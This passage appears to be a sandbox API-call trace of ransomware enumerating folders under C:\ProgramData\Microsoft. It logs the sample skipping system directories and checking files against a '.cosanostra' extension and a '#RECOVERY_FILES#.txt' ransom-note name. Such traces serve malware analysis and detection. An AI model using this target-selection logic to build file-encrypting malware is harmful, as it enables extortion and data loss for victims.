(lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\#RECOVERY_FILES#.txt") returned 68 [0080.071] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0080.071] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0080.071] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\#RECOVERY_FILES#.txt") returned 57 [0080.071] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\#RECOVERY_FILES#.txt") returned 57 [0080.072] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0080.072] lstrcmpiW (lpString1="OFFICE", lpString2="Windows") returned -1 [0080.072] lstrlenW (lpString="Windows") returned 7 [0080.072] lstrcmpiW (lpString1="OFFICE", lpString2="Program Files") returned -1 [0080.072] lstrlenW (lpString="Program Files") returned 13 [0080.072] lstrcmpiW (lpString1="OFFICE", lpString2="Program Files (x86)") returned -1 [0080.072] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.072] lstrcmpiW (lpString1="OFFICE", lpString2="$Recycle.bin") returned 1 [0080.072] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.072] lstrcmpiW (lpString1="OFFICE", lpString2="System Volume Information") returned -1 [0080.072] lstrlenW (lpString="System Volume Information") returned 25 [0080.072] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE") returned 35 [0080.073] lstrcmpW (lpString1="OFFICE", lpString2=".") returned 1 [0080.073] lstrcmpW (lpString1="OFFICE", lpString2="..") returned 1 [0080.073] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\*") returned 37 [0080.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0080.432] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0080.432] lstrlenW (lpString="Windows") returned 7 [0080.433] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0080.433] lstrlenW (lpString="Program Files") returned 13 [0080.433] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0080.433] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.433] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0080.433] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.433] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0080.433] lstrlenW (lpString="System Volume Information") returned 25 [0080.433] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\.") returned 37 [0080.433] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0080.433] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0080.433] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0080.433] lstrlenW (lpString="Windows") returned 7 [0080.433] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0080.433] lstrlenW (lpString="Program Files") returned 13 [0080.433] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0080.433] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.433] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0080.433] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.433] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0080.433] lstrlenW (lpString="System Volume Information") returned 25 [0080.433] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\..") returned 38 [0080.434] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0080.434] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0080.434] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0080.434] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="Windows") returned -1 [0080.434] lstrlenW (lpString="Windows") returned 7 [0080.434] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="Program Files") returned -1 [0080.434] lstrlenW (lpString="Program Files") returned 13 [0080.434] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="Program Files (x86)") returned -1 [0080.434] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.434] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="$Recycle.bin") returned 1 [0080.434] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.434] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="System Volume Information") returned -1 [0080.434] lstrlenW (lpString="System Volume Information") returned 25 [0080.434] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico") returned 52 [0080.434] StrStrIW (lpFirst="AssetLibrary.ico", lpSrch=".cosanostra") returned 0x0 [0080.434] lstrcmpW (lpString1="AssetLibrary.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.434] lstrcmpW (lpString1="AssetLibrary.ico", lpString2="_uninstalling_.png") returned 1 [0080.434] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico") returned 52 [0080.434] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0080.434] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="Windows") returned -1 [0080.434] lstrlenW (lpString="Windows") returned 7 [0080.434] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="Program Files") returned -1 [0080.434] lstrlenW (lpString="Program Files") returned 13 [0080.434] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="Program Files (x86)") returned -1 [0080.434] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.434] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="$Recycle.bin") returned 1 [0080.434] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.434] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="System Volume Information") returned -1 [0080.434] lstrlenW (lpString="System Volume Information") returned 25 [0080.434] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico") returned 58 [0080.434] StrStrIW (lpFirst="DocumentRepository.ico", lpSrch=".cosanostra") returned 0x0 [0080.434] lstrcmpW (lpString1="DocumentRepository.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.434] lstrcmpW (lpString1="DocumentRepository.ico", lpString2="_uninstalling_.png") returned 1 [0080.435] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico") returned 58 [0080.435] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0080.435] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="Windows") returned -1 [0080.435] lstrlenW (lpString="Windows") returned 7 [0080.435] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="Program Files") returned -1 [0080.435] lstrlenW (lpString="Program Files") returned 13 [0080.435] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="Program Files (x86)") returned -1 [0080.435] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.435] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="$Recycle.bin") returned 1 [0080.435] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.435] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="System Volume Information") returned -1 [0080.435] lstrlenW (lpString="System Volume Information") returned 25 [0080.435] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico") returned 53 [0080.435] StrStrIW (lpFirst="MySharePoints.ico", lpSrch=".cosanostra") returned 0x0 [0080.435] lstrcmpW (lpString1="MySharePoints.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.435] lstrcmpW (lpString1="MySharePoints.ico", lpString2="_uninstalling_.png") returned 1 [0080.435] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico") returned 53 [0080.435] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0080.435] lstrcmpiW (lpString1="MySite.ico", lpString2="Windows") returned -1 [0080.435] lstrlenW (lpString="Windows") returned 7 [0080.435] lstrcmpiW (lpString1="MySite.ico", lpString2="Program Files") returned -1 [0080.435] lstrlenW (lpString="Program Files") returned 13 [0080.435] lstrcmpiW (lpString1="MySite.ico", lpString2="Program Files (x86)") returned -1 [0080.435] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.435] lstrcmpiW (lpString1="MySite.ico", lpString2="$Recycle.bin") returned 1 [0080.435] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.435] lstrcmpiW (lpString1="MySite.ico", lpString2="System Volume Information") returned -1 [0080.435] lstrlenW (lpString="System Volume Information") returned 25 [0080.435] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico") returned 46 [0080.435] StrStrIW (lpFirst="MySite.ico", lpSrch=".cosanostra") returned 0x0 [0080.435] lstrcmpW (lpString1="MySite.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.435] lstrcmpW (lpString1="MySite.ico", lpString2="_uninstalling_.png") returned 1 [0080.435] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico") returned 46 [0080.435] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0080.437] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="Windows") returned -1 [0080.437] lstrlenW (lpString="Windows") returned 7 [0080.437] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="Program Files") returned 1 [0080.437] lstrlenW (lpString="Program Files") returned 13 [0080.437] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="Program Files (x86)") returned 1 [0080.437] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.437] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="$Recycle.bin") returned 1 [0080.437] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.437] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="System Volume Information") returned -1 [0080.437] lstrlenW (lpString="System Volume Information") returned 25 [0080.437] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico") returned 60 [0080.437] StrStrIW (lpFirst="SharePointPortalSite.ico", lpSrch=".cosanostra") returned 0x0 [0080.437] lstrcmpW (lpString1="SharePointPortalSite.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.437] lstrcmpW (lpString1="SharePointPortalSite.ico", lpString2="_uninstalling_.png") returned 1 [0080.437] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico") returned 60 [0080.437] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0080.437] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="Windows") returned -1 [0080.437] lstrlenW (lpString="Windows") returned 7 [0080.437] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="Program Files") returned 1 [0080.437] lstrlenW (lpString="Program Files") returned 13 [0080.437] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="Program Files (x86)") returned 1 [0080.437] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.438] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="$Recycle.bin") returned 1 [0080.438] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.438] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="System Volume Information") returned -1 [0080.438] lstrlenW (lpString="System Volume Information") returned 25 [0080.438] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico") returned 58 [0080.438] StrStrIW (lpFirst="SharePointTeamSite.ico", lpSrch=".cosanostra") returned 0x0 [0080.438] lstrcmpW (lpString1="SharePointTeamSite.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.438] lstrcmpW (lpString1="SharePointTeamSite.ico", lpString2="_uninstalling_.png") returned 1 [0080.438] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico") returned 58 [0080.438] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0080.438] lstrcmpiW (lpString1="UICaptions", lpString2="Windows") returned -1 [0080.438] lstrlenW (lpString="Windows") returned 7 [0080.438] lstrcmpiW (lpString1="UICaptions", lpString2="Program Files") returned 1 [0080.438] lstrlenW (lpString="Program Files") returned 13 [0080.438] lstrcmpiW (lpString1="UICaptions", lpString2="Program Files (x86)") returned 1 [0080.438] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.438] lstrcmpiW (lpString1="UICaptions", lpString2="$Recycle.bin") returned 1 [0080.438] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.438] lstrcmpiW (lpString1="UICaptions", lpString2="System Volume Information") returned 1 [0080.438] lstrlenW (lpString="System Volume Information") returned 25 [0080.438] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions") returned 46 [0080.438] lstrcmpW (lpString1="UICaptions", lpString2=".") returned 1 [0080.438] lstrcmpW (lpString1="UICaptions", lpString2="..") returned 1 [0080.438] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\*") returned 48 [0080.438] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0080.495] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0080.495] lstrlenW (lpString="Windows") returned 7 [0080.495] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0080.495] lstrlenW (lpString="Program Files") returned 13 [0080.496] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0080.496] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.496] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0080.496] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.496] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0080.496] lstrlenW (lpString="System Volume Information") returned 25 [0080.496] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\.") returned 48 [0080.496] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0080.496] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0080.496] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0080.496] lstrlenW (lpString="Windows") returned 7 [0080.496] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0080.496] lstrlenW (lpString="Program Files") returned 13 [0080.496] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0080.496] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.496] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0080.496] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.496] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0080.496] lstrlenW (lpString="System Volume Information") returned 25 [0080.496] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\..") returned 49 [0080.496] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0080.496] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0080.496] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0080.496] lstrcmpiW (lpString1="1036", lpString2="Windows") returned -1 [0080.496] lstrlenW (lpString="Windows") returned 7 [0080.496] lstrcmpiW (lpString1="1036", lpString2="Program Files") returned -1 [0080.496] lstrlenW (lpString="Program Files") returned 13 [0080.496] lstrcmpiW (lpString1="1036", lpString2="Program Files (x86)") returned -1 [0080.496] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.496] lstrcmpiW (lpString1="1036", lpString2="$Recycle.bin") returned 1 [0080.496] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.496] lstrcmpiW (lpString1="1036", lpString2="System Volume Information") returned -1 [0080.496] lstrlenW (lpString="System Volume Information") returned 25 [0080.496] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned 51 [0080.497] lstrcmpW (lpString1="1036", lpString2=".") returned 1 [0080.497] lstrcmpW (lpString1="1036", lpString2="..") returned 1 [0080.497] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\*") returned 53 [0080.497] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0080.520] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0080.520] lstrlenW (lpString="Windows") returned 7 [0080.520] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0080.520] lstrlenW (lpString="Program Files") returned 13 [0080.520] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0080.520] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.520] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0080.520] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.520] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0080.520] lstrlenW (lpString="System Volume Information") returned 25 [0080.520] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\.") returned 53 [0080.520] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0080.520] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.805] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0080.805] lstrlenW (lpString="Windows") returned 7 [0080.805] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0080.805] lstrlenW (lpString="Program Files") returned 13 [0080.805] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0080.805] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.806] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0080.806] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.806] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0080.806] lstrlenW (lpString="System Volume Information") returned 25 [0080.806] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\..") returned 54 [0080.806] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0080.806] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0080.806] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.806] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="Windows") returned -1 [0080.806] lstrlenW (lpString="Windows") returned 7 [0080.806] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="Program Files") returned -1 [0080.806] lstrlenW (lpString="Program Files") returned 13 [0080.806] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="Program Files (x86)") returned -1 [0080.806] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.806] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.806] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.806] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0080.806] lstrlenW (lpString="System Volume Information") returned 25 [0080.806] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll") returned 72 [0080.806] StrStrIW (lpFirst="ENVELOPR.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.806] lstrcmpW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.806] lstrcmpW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.806] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll") returned 72 [0080.806] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.806] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="Windows") returned -1 [0080.806] lstrlenW (lpString="Windows") returned 7 [0080.806] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="Program Files") returned -1 [0080.806] lstrlenW (lpString="Program Files") returned 13 [0080.806] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="Program Files (x86)") returned -1 [0080.806] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.806] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.806] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.806] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0080.806] lstrlenW (lpString="System Volume Information") returned 25 [0080.806] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll") returned 72 [0080.806] StrStrIW (lpFirst="GRINTL32.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.806] lstrcmpW (lpString1="GRINTL32.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.807] lstrcmpW (lpString1="GRINTL32.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.807] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll") returned 72 [0080.807] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.807] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="Windows") returned -1 [0080.807] lstrlenW (lpString="Windows") returned 7 [0080.807] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="Program Files") returned -1 [0080.807] lstrlenW (lpString="Program Files") returned 13 [0080.807] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="Program Files (x86)") returned -1 [0080.807] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.807] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.807] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.807] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="System Volume Information") returned -1 [0080.807] lstrlenW (lpString="System Volume Information") returned 25 [0080.807] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll") returned 73 [0080.807] StrStrIW (lpFirst="GRINTL32.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.807] lstrcmpW (lpString1="GRINTL32.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.807] lstrcmpW (lpString1="GRINTL32.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.807] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll") returned 73 [0080.807] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.807] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="Windows") returned -1 [0080.807] lstrlenW (lpString="Windows") returned 7 [0080.807] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="Program Files") returned -1 [0080.807] lstrlenW (lpString="Program Files") returned 13 [0080.807] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="Program Files (x86)") returned -1 [0080.807] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.807] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.807] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.807] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0080.807] lstrlenW (lpString="System Volume Information") returned 25 [0080.807] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll") returned 69 [0080.807] StrStrIW (lpFirst="MAPIR.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.807] lstrcmpW (lpString1="MAPIR.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.807] lstrcmpW (lpString1="MAPIR.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.807] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll") returned 69 [0080.807] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.807] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="Windows") returned -1 [0080.807] lstrlenW (lpString="Windows") returned 7 [0080.807] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="Program Files") returned -1 [0080.807] lstrlenW (lpString="Program Files") returned 13 [0080.807] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="Program Files (x86)") returned -1 [0080.807] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.807] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.807] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.807] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="System Volume Information") returned -1 [0080.807] lstrlenW (lpString="System Volume Information") returned 25 [0080.807] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll") returned 72 [0080.807] StrStrIW (lpFirst="MOR6INT.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.807] lstrcmpW (lpString1="MOR6INT.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.808] lstrcmpW (lpString1="MOR6INT.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.808] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll") returned 72 [0080.808] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.808] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="Windows") returned -1 [0080.808] lstrlenW (lpString="Windows") returned 7 [0080.808] lstrcmpiW 